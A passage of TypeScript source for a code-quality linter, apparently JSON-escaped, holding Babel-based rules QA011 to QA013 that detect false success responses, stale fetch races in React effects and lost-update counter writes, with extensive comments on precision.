return`, and an\n // unrelated `useState(\"\")` elsewhere in the file satisfying the\n // empty-initial clause. Nothing there can write early, because\n // the `finally` closes the gate rather than opening it.\n //\n // The shipped defect is the opposite: useState(false) with\n // `finally { setStateLoaded(true) }` — a transition, and the\n // transition is the arming.\n if (setsBackToInitial(call.node, useStateBinding(call, state)?.initial)) return;\n armedInFinally.set(state, nodeStart(call.node));\n },\n });\n },\n });\n if (armedInFinally.size === 0) continue;\n\n // Functions declared in this file that themselves perform a persistent\n // write, so `useEffect(() => { saveState(); }, [...])` is reachable.\n // name -> every subtree that says what this writer carries: the function\n // itself, plus its wrapper's dependency array when it has one.\n const writingFunctions = new Map<string, NodePath[]>();\n traverse(parsed.ast, {\n Function(path) {\n const src = file.code.slice(nodeStart(path.node), nodeEnd(path.node));\n if (!PERSISTENT_WRITE.test(src)) return;\n // The name may be one or two levels up: `const save = () => …` binds\n // directly, but `const save = useCallback(() => …, [])` — which is how\n // every debounced autosave in this codebase is written, and how the\n // shipped defect was written — puts a CallExpression in between. An\n // earlier draft only looked at the immediate parent and therefore\n // did not fire on the real bug at all.\n const deps: NodePath[] = [];\n let owner: NodePath | null = path.parentPath;\n for (let hops = 0; owner && hops < 3; hops++, owner = owner.parentPath) {\n const node = owner.node;\n if (node.type === \"VariableDeclarator\" && node.id.type === \"Identifier\") {\n writingFunctions.set(node.id.name, [path, ...deps]);\n break;\n }\n // Only step through wrapper calls (useCallback / useMemo / memo);\n // anything else means this function is an argument, not a binding.\n if (node.type !== \"CallExpression\") break;\n const depArg = owner.get(\"arguments.1\") as NodePath | undefined;\n if (depArg && depArg.node) deps.push(depArg);\n }\n const n = path.node as Node & { id?: { name?: string } | null };\n if (n.id && n.id.name) writingFunctions.set(n.id.name, [path, ...deps]);\n },\n });\n\n const reported = new Set<string>();\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isEffectCall(path.node)) return;\n const cb = path.get(\"arguments.0\") as NodePath | undefined;\n if (!cb || !cb.node) return;\n\n const body = file.code.slice(nodeStart(cb.node), nodeEnd(cb.node));\n const names = identifiersIn(cb);\n const writesDirectly = PERSISTENT_WRITE.test(body);\n const calledWriters = [...writingFunctions.entries()]\n .filter(([fn]) => names.has(fn))\n .flatMap(([, paths]) => paths);\n if (!writesDirectly && calledWriters.length === 0) return;\n\n // Clause 2, at the scope it qualifies: the state this write carries\n // has to be one that starts empty. The file-level prefilter above is\n // a superset of this and only exists to skip files cheaply.\n const effectDeps = path.get(\"arguments.1\") as NodePath | undefined;\n const writers = [\n ...(writesDirectly ? [cb] : []),\n ...calledWriters,\n ...(effectDeps && effectDeps.node ? [effectDeps] : []),\n ];\n if (!writerTouchesEmptyState(writers)) return;\n\n // Clause 3 — the write is gated on a flag this file arms in a\n // `finally`. Both halves are required: the flag alone is a spinner,\n // the gate alone is correct autosave.\n for (const [state, armLine] of armedInFinally) {\n if (!names.has(state)) continue;\n if (reported.has(state)) continue;\n // The identifier has to appear in a test, not merely be mentioned.\n if (!new RegExp(`\\\\bif\\\\s*\\\\([^)]*\\\\b${state}\\\\b`).test(body)) continue;\n reported.add(state);\n hits.push({\n file: file.path,\n line: lineAt(file.content, armLine),\n detail: `\\`${state}\\` is what permits this component to write the user's state back, and it is set in a \\`finally\\` — so a load that threw arms the write exactly like one that succeeded, while the component still holds its initial empty values.`,\n });\n }\n },\n });\n }\n\n return hits;\n },\n};\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type {\n Function as BabelFunction,\n IfStatement,\n Node,\n ObjectExpression,\n ReturnStatement,\n} from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { nodeEnd, nodeStart } from \"./silent-failed-write.js\";\n\n/**\n * QA011 — success is reported for work a missing setting skipped.\n *\n * The handler checks whether something is configured, finds it is not, and\n * returns the SAME success payload it would have returned had the work\n * happened. The caller cannot tell the two apart, because they are identical.\n *\n * This product's own `/api/scans` did it: `if (!db) return\n * NextResponse.json({ scan: { id } })` at one end of the handler, and\n * `return NextResponse.json({ scan: { id } })` at the other. The CLI reads\n * `res.ok ? \"uploaded\" : \"failed\"`, so a scan that was never stored was\n * reported to the user as saved, and the dashboard it was saved to was empty.\n *\n * THE FRAMING IS WHAT MAKES THIS SHIPPABLE. \"An env var might be unset\" is a\n * deployment-convention judgement and is not a defect. \"The guarded response is\n * byte-indistinguishable from the success response\" is decidable from the file,\n * and it is the same lens as QA001 and QA002: the app reports something that\n * did not happen.\n *\n * Four kinds of correct code tripped the first draft, and each clause below is\n * one of them:\n *\n * nothing to invalidate a cache `del` skipped when Redis is unset is not a\n * lie — there is no durable effect to skip.\n * guard after the write the primary insert already happened; only a\n * secondary mirror is skipped.\n * audit rows the work happened in someone else's system and\n * only our log of it is skipped.\n * external primary the subscribe went to the provider; the local\n * mirror row is the part that did not.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/** Handlers that change something. A GET has nothing to skip. */\nconst MUTATING_METHODS = new Set([\"POST\", \"PUT\", \"PATCH\", \"DELETE\"]);\n\n/**\n * Clause 5 — the effect allowlist: durable writes only.\n *\n * Cache `.del`/`.set`, `revalidatePath` and logger calls are deliberately out.\n * Skipping those is not a lie about what happened, and including them is what\n * made the first draft fire on correct cache-invalidation handlers.\n *\n * Each SQL alternative closes with its OWN `\\b`. A single trailing `\\b` on the\n * group made the raw-SQL UPDATE arm dead: `UPDATE\\s+\\w` ends on the FIRST\n * character of the table name, so the boundary had to hold between two word\n * characters and always failed. `UPDATE team_members SET ...` did not match;\n * only a one-character table name did. The arm matched nothing real for its\n * whole life, and clause 4 was blind to UPDATE-only handlers.\n *\n * The replacement anchors on SET rather than the bare `UPDATE\\s+\\w+\\b` the\n * boundary was reaching for. `\\w+\\b` matches ordinary prose — \"update role\",\n * \"update your payment method\", \"update database\" — and DURABLE_WRITE both\n * admits findings (clause 4, the text after the guard) and suppresses them\n * (clause 3, the text before it), so prose in a comment would silently corrupt\n * either. Measured over packages/web: `\\w+\\b` adds 112 matches, most of them\n * prose; `\\w+\\s+SET\\b` adds 50, every one a real SQL UPDATE.\n *\n * Known gap, deliberate: an aliased or prefixed target (`UPDATE users u SET`,\n * `UPDATE OR REPLACE t SET`) is not matched. Neither appears in this corpus, so\n * widening for it would be unmeasured.\n *\n * `ON CONFLICT ... DO UPDATE SET` upserts are unaffected — they are matched by\n * the INSERT INTO that opens the same statement.\n */\nexport const DURABLE_WRITE =\n /\\b(?:INSERT\\s+INTO\\b|UPDATE\\s+\\w+\\s+SET\\b|DELETE\\s+FROM\\b)|\\bprisma\\s*\\.\\s*\\w+\\s*\\.\\s*(?:create|createMany|update|updateMany|delete|deleteMany|upsert)\\s*\\(|\\.from\\s*\\([^)]*\\)\\s*\\.\\s*(?:insert|update|delete|upsert)\\s*\\(|\\b(?:db|tx|trx)\\s*\\.\\s*(?:insert|update|delete)\\s*\\(/i;\n\n/**\n * Clause 3 — an external mutating call, which counts as an effect that already\n * happened if it sits before the guard.\n */\nconst EXTERNAL_MUTATION =\n /\\b\\w+\\s*\\.\\s*\\w+\\s*\\.\\s*(?:create|send|update|delete|cancel|charge|capture|refund)\\s*\\(|\\bfetch\\s*\\([^)]{0,300}?method\\s*:\\s*[\"'`](?:POST|PUT|PATCH|DELETE)[\"'`]/is;\n\n/**\n * Clause 6 — vocabulary exoneration.\n *\n * A skipped analytics row, audit log or telemetry ping is not the app lying\n * about the user's work; it is the app lying about its own bookkeeping, which\n * nobody is acting on. Matched against the route path, the accessor\n * identifier and the target table noun.\n */\nconst BOOKKEEPING = /analytics|telemetry|track|metric|event|beacon|log|audit|ping/i;\n\n/** `!process.env.X` / `!Deno.env.get(\"X\")`, written directly in the test. */\nconst DIRECT_ENV_TEST = /\\bprocess\\s*\\.\\s*env\\b|\\bDeno\\s*\\.\\s*env\\s*\\.\\s*get\\s*\\(/;\n\nfunction calleeName(node: Node): string | null {\n if (node.type !== \"CallExpression\") return null;\n const c = node.callee;\n if (c.type === \"Identifier\") return c.name;\n if (c.type === \"MemberExpression\" && c.property.type === \"Identifier\") return c.property.name;\n return null;\n}\n\n/** The top-level key names of an object literal, sorted. `null` if not one. */\nfunction keyShape(node: Node | null | undefined): string | null {\n if (!node || node.type !== \"ObjectExpression\") return null;\n const keys: string[] = [];\n for (const prop of (node as ObjectExpression).properties) {\n if (prop.type === \"ObjectProperty\" && prop.key.type === \"Identifier\") keys.push(prop.key.name);\n else if (prop.type === \"ObjectProperty\" && prop.key.type === \"StringLiteral\") keys.push(prop.key.value);\n else return null; // a spread makes the shape undecidable; say so rather than guess\n }\n return keys.sort().join(\",\");\n}\n\n/**\n * The key-shape of a 2xx JSON response returned by this statement.\n *\n * `null` for anything that is not plainly a success JSON body — a non-2xx\n * status, a Response with a status argument we cannot read, a bare value.\n */\nfunction successPayloadShape(ret: ReturnStatement, source: string, offset: number): string | null {\n const arg = ret.argument;\n if (!arg || arg.type !== \"CallExpression\") return null;\n const text = source.slice(nodeStart(ret) - offset, nodeEnd(ret) - offset);\n // An explicit non-2xx is a visible failure, which is the correct shape.\n if (/status\\s*:\\s*[45]\\d\\d|,\\s*\\{\\s*status\\s*:\\s*[45]\\d\\d/.test(text)) return null;\n const name = calleeName(arg);\n if (name !== \"json\" && name !== \"Response\" && name !== \"NextResponse\") return null;\n const first = arg.arguments[0] as Node | undefined;\n if (!first) return null;\n // `new Response(JSON.stringify({...}))` — reach through the stringify.\n if (first.type === \"CallExpression\" && calleeName(first) === \"stringify\") {\n return keyShape(first.arguments[0] as Node | undefined);\n }\n return keyShape(first);\n}\n\nexport const configSkippedWork: QualityRule = {\n id: \"QA011\",\n title: \"Success is reported for work a missing setting skipped\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"When this setting is absent the handler returns early — with the same success payload it returns when the work actually happened. The caller cannot tell the two apart, so a request that did nothing is reported as one that did: the row was never written, and whoever asked is told it was.\",\n fix: \"Answer differently when the work was skipped. Either fail with a non-2xx so the caller can retry, or return a payload that says what did not happen. Returning the success shape is only correct if the success actually occurred.\",\n precisionNotes:\n \"The claim is not \\\"an env var might be unset\\\" — that is a deployment-convention judgement, and unshippable. It is \\\"the guarded response is byte-indistinguishable from the success response\\\", which is decidable from the file, and it is the sharpest clause: the shapes are compared as sorted top-level key sets, and a spread makes the shape undecidable so the rule declines rather than guesses. On top of that: exported POST/PUT/PATCH/DELETE only; the absence test must read process.env/Deno.env directly or test a local bound from a ZERO-ARG accessor (`getTenantDb(orgId)` is a per-tenant fact, not a config fact); the guard must DOMINATE the effects — no durable write and no external mutating call before it, at least one durable write after it, which kills both the cache-invalidation handler with no durable effect at all and the handler whose primary insert already happened; and bookkeeping vocabulary (analytics, telemetry, audit, log, metric, ping) on the route path, the accessor name or the target noun is exonerated, because a skipped audit row is the app lying about its own records rather than about the user's work.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n if (!file.isServer) continue;\n if (BOOKKEEPING.test(file.path)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n traverse(parsed.ast, {\n Function(path: NodePath<BabelFunction>) {\n const node = path.node as Node & { id?: { name?: string } | null };\n let name: string | null = node.id?.name ?? null;\n if (!name && path.parent.type === \"VariableDeclarator\" && path.parent.id.type === \"Identifier\") {\n name = path.parent.id.name;\n }\n if (!name || !MUTATING_METHODS.has(name)) return;\n\n const fnStart = nodeStart(path.node);\n const fnSource = file.code.slice(fnStart, nodeEnd(path.node));\n\n // The terminal success: the LAST qualifying 2xx return in the handler.\n let terminal: { shape: string; start: number } | null = null;\n const guards: { shape: string; start: number; test: string }[] = [];\n\n path.traverse({\n ReturnStatement(ret) {\n const shape = successPayloadShape(ret.node, file.code, 0);\n if (shape === null) return;\n const start = nodeStart(ret.node);\n // Inside an `if` whose test is a config-absence check?\n const ifPath = ret.findParent((p) => p.isIfStatement()) as NodePath<IfStatement> | null;\n if (ifPath) {\n const test = file.code.slice(nodeStart(ifPath.node.test), nodeEnd(ifPath.node.test));\n if (isConfigAbsenceTest(test, ifPath, file.code)) {\n guards.push({ shape, start, test });\n return;\n }\n }\n if (!terminal || start > terminal.start) terminal = { shape, start };\n },\n });\n\n if (!terminal || guards.length === 0) return;\n const term = terminal as { shape: string; start: number };\n\n for (const guard of guards) {\n // Clause 4 — the sharpest one. Different shapes mean the caller\n // CAN tell, which is the correct behaviour.\n if (guard.shape !== term.shape) continue;\n if (BOOKKEEPING.test(guard.test)) continue;\n\n // Clause 3 — the guard must dominate the effects.\n const before = file.code.slice(fnStart, guard.start);\n const after = file.code.slice(guard.start, nodeEnd(path.node));\n if (DURABLE_WRITE.test(before)) continue;\n if (EXTERNAL_MUTATION.test(before)) continue;\n if (!DURABLE_WRITE.test(after)) continue;\n // Clause 6 — the noun being written.\n const writeMatch = DURABLE_WRITE.exec(after);\n if (writeMatch && BOOKKEEPING.test(after.slice(writeMatch.index, writeMatch.index + 120))) continue;\n\n hits.push({\n file: file.path,\n line: lineAt(file.content, guard.start),\n detail: `This early return answers with the same payload shape (\\`{${guard.shape}}\\`) as the handler's success return, so a caller cannot tell that the work was skipped. ${fnSource.length > 0 ? \"\" : \"\"}The write below it never runs, and whoever made the request is told it did.`,\n });\n break; // one finding per handler\n }\n },\n });\n }\n\n return hits;\n },\n};\n\n/**\n * Is this `if` test asking \"is this thing configured?\"\n *\n * Either it reads the environment directly, or it is a falsy test on a local\n * bound from a ZERO-ARGUMENT accessor. Zero-arg is load-bearing: a\n * `getTenantDb(orgId)` that returns null is a per-tenant fact about this\n * request, not a fact about how the app was deployed, and skipping work for it\n * is often correct.\n */\nfunction isConfigAbsenceTest(test: string, ifPath: NodePath<IfStatement>, code: string): boolean {\n if (DIRECT_ENV_TEST.test(test)) return true;\n const m = /^!\\s*([A-Za-z_$][\\w$]*)$/.exec(test.trim());\n if (!m) return false;\n const local = m[1];\n const fn = ifPath.getFunctionParent();\n if (!fn) return false;\n const scope = code.slice(nodeStart(fn.node), nodeEnd(fn.node));\n // `const db = getDb();` — no arguments.\n return new RegExp(`\\\\b(?:const|let|var)\\\\s+${local}\\\\s*=\\\\s*(?:await\\\\s+)?[A-Za-z_$][\\\\w$]*\\\\s*\\\\(\\\\s*\\\\)`).test(scope);\n}\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { CallExpression, Node } from \"@babel/types\";\nimport { isClientTarget, lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { isFetchCallee, nodeEnd, nodeStart } from \"./silent-failed-write.js\";\nimport { useStateBinding } from \"./scope.js\";\n\n/**\n * QA012 — a stale response wins the race.\n *\n * The user picks project A, the effect fetches it, they pick B before it\n * lands, the effect fetches B, and B answers first. A arrives second and\n * overwrites it. The selector says B and the panel shows A, and nothing is\n * broken enough for anyone to notice — the data is real, it is just the wrong\n * data, and it stays wrong until the next interaction.\n *\n * React has one answer to this and the effect either uses it or does not: the\n * cleanup function. `return () => { cancelled = true }`, an AbortController, a\n * `signal` — any of them makes the late response a no-op. This rule is the\n * absence of all of them on an effect whose request URL depends on something\n * the user can change faster than the network can answer.\n *\n * TWO CLAUSES CAME FROM BEING WRONG.\n *\n * The first draft asked whether the interpolated identifier was ASSIGNED\n * INSIDE THE EFFECT BODY. An effect-local constant satisfies that —\n * `const base = process.env.NEXT_PUBLIC_API ?? \"\"` — so it fired on a fetch\n * whose URL cannot vary between renders at all. What matters is not where the\n * identifier was assigned but whether it is DERIVED FROM A DEPENDENCY, because\n * only a dependency can change while a request is in flight.\n *\n * The second: an identifier REFERENCED AGAIN AFTER the network call is the\n * signature of code that already handles this. Both correct spellings do it —\n * the keyed write `setCache(prev => ({ ...prev, [id]: data }))`, where\n * out-of-order arrival is harmless because the results do not share a slot,\n * and the hand-rolled guard `if (latest.current === id) setScan(data)`, which\n * is a cleanup function written by hand. Neither mentions `cancelled`,\n * `AbortController` or any of the other tokens, so nothing else excludes them.\n *\n * FREQUENCY IS THIS RULE'S WEAK POINT AND IS WORTH STATING. Two distinct\n * defects, one codebase, one author. It is narrow and it is correct on what it\n * has been run against, but it has not been measured at population scale the\n * way silent-failed-read has.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/**\n * Anything that makes a late response a no-op.\n *\n * `return () =>` is the cleanup function itself; the rest are the idioms people\n * write inside one. Matched over the effect body, because any of them means the\n * author has thought about ordering.\n */\nconst ORDERING_GUARD =\n /\\breturn\\s*\\(\\s*\\)\\s*=>|\\bAbortController\\b|\\bsignal\\b|\\bcancell?ed\\b|\\bignore\\b|\\bstale\\b|\\bisMounted\\b|\\baborted\\b/i;\n\n/** A React state setter, by the convention React documents. */\nconst SETTER = /^set[A-Z][A-Za-z0-9_]*$/;\n\nfunction calleeIdentifier(node: Node): string | null {\n if (node.type !== \"CallExpression\") return null;\n const c = node.callee;\n if (c.type === \"Identifier\") return c.name;\n if (c.type === \"MemberExpression\" && c.property.type === \"Identifier\") return c.property.name;\n return null;\n}\n\nfunction isEffectCall(node: Node): boolean {\n const n = calleeIdentifier(node);\n return n === \"useEffect\" || n === \"useLayoutEffect\";\n}\n\n/** Identifiers interpolated into a template literal. */\nfunction templateIdentifiers(node: Node): string[] {\n if (node.type !== \"TemplateLiteral\") return [];\n const out: string[] = [];\n for (const expr of node.expressions) {\n collectIdentifiers(expr as Node, out);\n }\n return out;\n}\n\nfunction collectIdentifiers(node: Node, out: string[]): void {\n if (!node || typeof node !== \"object\") return;\n if (node.type === \"Identifier\") {\n out.push(node.name);\n return;\n }\n for (const key of Object.keys(node)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n const v = (node as unknown as Record<string, unknown>)[key];\n if (Array.isArray(v)) v.forEach((c) => c && typeof c === \"object\" && collectIdentifiers(c as Node, out));\n else if (v && typeof v === \"object\" && \"type\" in (v as object)) collectIdentifiers(v as Node, out);\n }\n}\n\n/**\n * Is `name` the dependency, or derived from one inside this effect?\n *\n * Walks assignment chains within the effect body: `targetId` comes from\n * `listData.scans[0].id`, then is reassigned from a `.find()` whose predicate\n * closes over `selectedProject`, which is the dep. Bounded depth, because this\n * is a heuristic about provenance and not a dataflow engine.\n */\nfunction derivesFromDep(\n name: string,\n deps: Set<string>,\n effect: NodePath,\n code: string,\n): boolean {\n if (deps.has(name)) return true;\n let found = false;\n const seen = new Set<string>([name]);\n const frontier = [name];\n for (let depth = 0; depth < 4 && frontier.length && !found; depth++) {\n const current = frontier.splice(0, frontier.length);\n for (const target of current) {\n effect.traverse({\n VariableDeclarator(p) {\n if (found) return;\n if (p.node.id.type !== \"Identifier\" || p.node.id.name !== target) return;\n if (!p.node.init) return;\n const names: string[] = [];\n collectIdentifiers(p.node.init as Node, names);\n for (const n of names) {\n if (deps.has(n)) { found = true; return; }\n if (!seen.has(n)) { seen.add(n); frontier.push(n); }\n }\n },\n AssignmentExpression(p) {\n if (found) return;\n if (p.node.left.type !== \"Identifier\" || p.node.left.name !== target) return;\n const names: string[] = [];\n collectIdentifiers(p.node.right as Node, names);\n for (const n of names) {\n if (deps.has(n)) { found = true; return; }\n if (!seen.has(n)) { seen.add(n); frontier.push(n); }\n }\n },\n });\n }\n }\n return found;\n}\n\nexport const staleResponseWins: QualityRule = {\n id: \"QA012\",\n title: \"A stale response can overwrite a newer one\",\n severity: \"medium\",\n category: \"Correctness\",\n description:\n \"This effect refetches whenever the user changes their selection, and does nothing to cancel the request already in flight. Pick one thing, then another before the first answers, and the first response lands last and wins: the selector says one thing and the panel shows another. Nothing errors, the data is real — it is just the wrong data, and it stays wrong until the next interaction.\",\n fix: \"Return a cleanup function from the effect that makes the late response a no-op — set a `cancelled` flag the `.then` checks, or abort the request with an AbortController and pass its `signal` to fetch. React calls the cleanup before it re-runs the effect, which is exactly when the older request becomes irrelevant.\",\n precisionNotes:\n \"Two clauses came from being wrong. The first draft asked whether the interpolated identifier was ASSIGNED INSIDE THE EFFECT, which an effect-local constant satisfies (`const base = process.env.NEXT_PUBLIC_API ?? \\\"\\\"`), so it fired on URLs that cannot vary between renders; what matters is that the identifier is DERIVED FROM A DEPENDENCY, since only a dependency can change mid-flight. The second: an identifier REFERENCED AGAIN AFTER the network call is the signature of code that already handles ordering — the keyed write `setCache(prev => ({ ...prev, [id]: data }))`, where out-of-order arrival is harmless, and the hand-rolled `if (latest.current === id) setScan(data)`, which is a cleanup function written by hand. Neither mentions cancelled/AbortController/signal, so nothing else excludes them. Also required: a non-empty dep array, a literal `fetch(`, a state setter after it, and the dependency must be a useState in this file wired to an onChange — the strict form, because relaxing it to \\\"or any dep\\\" reopens the child that fetches on a prop whose parent remounts it with a `key`, and that remount is invisible from the child's file. Frequency is this rule's weak point and is worth stating: three distinct defects now, across two codebases — two in this product, and one found across 168 third-party repositories, verified real, with no false positives beside it. Precise on everything it has been run against; still rare. Shipped at medium for that reason.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (!isClientTarget(file)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isEffectCall(path.node)) return;\n const args = path.node.arguments;\n const cbNode = args[0] as Node | undefined;\n const depNode = args[1] as Node | undefined;\n if (!cbNode || !depNode || depNode.type !== \"ArrayExpression\") return;\n if (depNode.elements.length === 0) return;\n\n const deps = new Set<string>();\n for (const el of depNode.elements) {\n if (el && el.type === \"Identifier\") deps.add(el.name);\n }\n if (deps.size === 0) return;\n\n const cb = path.get(\"arguments.0\") as NodePath;\n if (!cb || !cb.node) return;\n const bodyStart = nodeStart(cb.node);\n const bodySource = file.code.slice(bodyStart, nodeEnd(cb.node));\n\n // Any ordering guard at all and the author has handled this.\n if (ORDERING_GUARD.test(bodySource)) return;\n\n let hit: { line: number; ident: string } | null = null;\n cb.traverse({\n CallExpression(inner: NodePath<CallExpression>) {\n if (hit) return;\n if (!isFetchCallee(inner.node.callee)) return;\n const url = inner.node.arguments[0] as Node | undefined;\n if (!url) return;\n const interpolated = templateIdentifiers(url);\n if (interpolated.length === 0) return;\n\n const callEnd = nodeEnd(inner.node);\n const afterCall = file.code.slice(callEnd, nodeEnd(cb.node));\n // A state setter has to run with what came back, or nothing is\n // overwritten and there is no race to lose.\n let setsState = false;\n cb.traverse({\n CallExpression(c) {\n if (setsState) return;\n if (nodeStart(c.node) < callEnd) return;\n const n = calleeIdentifier(c.node);\n if (n && SETTER.test(n)) setsState = true;\n },\n });\n if (!setsState) return;\n\n for (const ident of interpolated) {\n if (!derivesFromDep(ident, deps, cb, file.code)) continue;\n // Referenced again after the request: a keyed write or a\n // hand-rolled ordering guard. Both are correct.\n if (new RegExp(`\\\\b${ident}\\\\b`).test(afterCall)) continue;\n // The dependency THE URL DERIVES FROM must be one the user can\n // change faster than the network answers. `deps.some(...)` let\n // any entry in the array satisfy this — including one belonging\n // to an unrelated concern — while `ident`, the identifier\n // actually interpolated into the URL, was discarded for the\n // clause that decides whether a race is reachable.\n const driving = [...deps].filter((d) =>\n derivesFromDep(ident, new Set([d]), cb, file.code),\n );\n if (!driving.some((d) => userDriven(d, cb))) continue;\n hit = { line: lineAt(file.content, nodeStart(inner.node)), ident };\n return;\n }\n },\n });\n\n if (!hit) return;\n const { line, ident } = hit as { line: number; ident: string };\n hits.push({\n file: file.path,\n line,\n detail: `This request's URL depends on \\`${ident}\\`, which changes when the user does, and the effect returns no cleanup — so a response for the previous selection can arrive after the current one and overwrite it. The screen then shows data that does not match the control above it.`,\n });\n },\n });\n }\n\n return hits;\n },\n};\n\n/**\n * Is `dep` a piece of state the user drives directly?\n *\n * `const [x, setX] = useState(...)` visible from the effect, with the REAL\n * destructured setter wired to an `onChange`/`onClick`/`onInput`/`onSelect` in\n * the component that declares it. The strict form is deliberate: relaxing it to\n * \"any dependency\" reopens the child that fetches on a prop whose parent\n * renders it with a `key`, so React unmounts the instance and no race exists —\n * and that remount is invisible from inside the child's file.\n *\n * Resolved through SCOPE, not by regex over the file. The regex form guessed\n * the setter from the state name (`set${Dep}`) and matched anywhere in the\n * file, so in a multi-component file a second component's `query` wired to its\n * own input satisfied the clause for this component's effect — the same\n * wider-scope defect QA009 and QA010 were fixed for, in the firing direction,\n * on a rule whose whole evidence base is three findings.\n */\nfunction userDriven(dep: string, at: NodePath): boolean {\n const binding = useStateBinding(at, dep);\n const setter = binding?.setter;\n if (!setter) return false;\n\n const owner = binding.decl.getFunctionParent() ?? binding.decl.scope.path;\n let wired = false;\n owner.traverse({\n JSXAttribute(attr) {\n if (wired) return;\n const name = attr.node.name;\n if (name.type !== \"JSXIdentifier\") return;\n if (!/^on(?:Change|Click|Input|Select)$/.test(name.name)) return;\n attr.traverse({\n Identifier(id) {\n if (id.node.name === setter) wired = true;\n },\n });\n },\n });\n return wired;\n}\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { Function as BabelFunction, Node } from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { nodeEnd, nodeStart } from \"./silent-failed-write.js\";\n\n/**\n * QA013 — a balance is read, changed in JavaScript, and written back.\n *\n * Two requests read 10 credits, both compute 9, both write 9. One of the two\n * spends is free. The window is the round trip between the read and the write,\n * which is exactly when a second request is most likely to arrive, and nothing\n * about it is visible in development where requests arrive one at a time.\n *\n * THIS RULE IS NOT IN THE DEFAULT CATALOGUE. See `unmeasuredQualityRules` in\n * ../index.ts. Every other rule here quotes a real denominator — \"0 hits across\n * 3,515 corpus files\", \"276 naive fires in 35 repos\". This one cannot: a grep\n * for credits/balance/stock against UPDATE in this repository returns nothing,\n * so its measured false-positive rate is 0 out of 0, which measures nothing at\n * all. The precision bar is the product, and a rule with no denominator has not\n * met it. It ships so it can be run against a corpus that contains counters;\n * it does not ship enabled.\n *\n * The column allowlist is what makes the consequence sentence true. A\n * denormalised `comment_count` reconciled nightly loses an update and nobody\n * cares; \"you are charged for one of the two things you bought\" only holds for\n * money and inventory. Widening this list later would quietly turn a precise\n * rule into \"every counter in your app\", which is the naive version this was\n * narrowed away from.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/** Money and inventory only. Deliberately short — see the note above. */\nconst COUNTER_COLUMN =\n /^(?:credits?|balance|stock|quantity|qty|tokens?|seats?|points?|inventory|remaining|available)$/i;\n\n/** A write, in the dialects the corpus uses. */\nconst WRITE_CALL =\n /\\bUPDATE\\s+\\w|\\.\\s*update\\s*\\(|\\.\\s*set\\s*\\(|\\bprisma\\s*\\.\\s*\\w+\\s*\\.\\s*update\\b/i;\n\n/**\n * Anything that makes the operation atomic, or serialises it.\n *\n * Each of these is a correct implementation, and each one killed a draft:\n * the ORM's own atomic operators, SQL that does the arithmetic in the\n * database, a stored procedure, an explicit lock, and an optimistic predicate\n * that makes the write fail rather than clobber.\n */\nconst ATOMIC_OR_SERIALISED =\n /\\b(?:increment|decrement)\\s*:|\\bsql`[^`]*\\b\\w+\\s*[-+]\\s*|\\bSET\\s+(\\w+)\\s*=\\s*\\1\\s*[-+]|\\.\\s*rpc\\s*\\(|\\btransaction\\s*\\(|\\bBEGIN\\s+IMMEDIATE\\b|\\bFOR\\s+UPDATE\\b|\\block\\s*\\.\\s*acquire\\s*\\(|\\bmutex\\b|\\bredlock\\b|\\bWHERE[^;]{0,120}\\b\\w+\\s*=\\s*\\?[^;]{0,40}\\bAND\\b[^;]{0,120}\\bversion\\b/i;\n\n/** A one-shot job has no concurrent writer to race. */\nconst SCHEDULED_PATH = /(?:^|\\/)(?:cron|jobs?|scheduled|tasks?|workers?)\\//i;\n\n/** `INSERT … RETURNING balance` — the row was created in this function. */\nconst INSERT_RETURNING = /\\bINSERT\\b[\\s\\S]{0,400}?\\bRETURNING\\b/i;\n\nfunction memberColumn(node: Node): string | null {\n if (node.type !== \"MemberExpression\" && node.type !== \"OptionalMemberExpression\") return null;\n const prop = (node as { property: Node }).property;\n if (prop.type !== \"Identifier\") return null;\n return COUNTER_COLUMN.test(prop.name) ? prop.name : null;\n}\n\n/** The root identifier of `a.b.c` → `a`. */\nfunction rootObject(node: Node): string | null {\n let cur: Node = node;\n while (cur.type === \"MemberExpression\" || cur.type === \"OptionalMemberExpression\") {\n cur = (cur as { object: Node }).object;\n }\n return cur.type === \"Identifier\" ? cur.name : null;\n}\n\nconst MAX_PER_SCAN = 3;\n\nexport const lostUpdateCounter: QualityRule = {\n id: \"QA013\",\n title: \"A balance is read, changed in JavaScript, and written back\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This reads the current value, does the arithmetic in the application, and writes the result back. Two requests that arrive together both read the same starting value and both write the same answer, so one of the two changes is lost — a spend that was never charged, or stock sold twice. The window is the round trip between the read and the write, and nothing about it shows up in development, where requests arrive one at a time.\",\n fix: \"Let the database do the arithmetic, so the read and the write are one statement: `UPDATE users SET credits = credits - 1 WHERE id = ? AND credits >= 1`, or the ORM's atomic form (`{ credits: { decrement: 1 } }`). Check the affected row count to find out whether it applied. A transaction or an explicit lock also works.\",\n precisionNotes:\n \"NOT ENABLED BY DEFAULT — its false-positive rate is unmeasured, not low. This repository contains no counters at all, so its 0 fires are 0 out of 0, and every other rule in this catalogue quotes 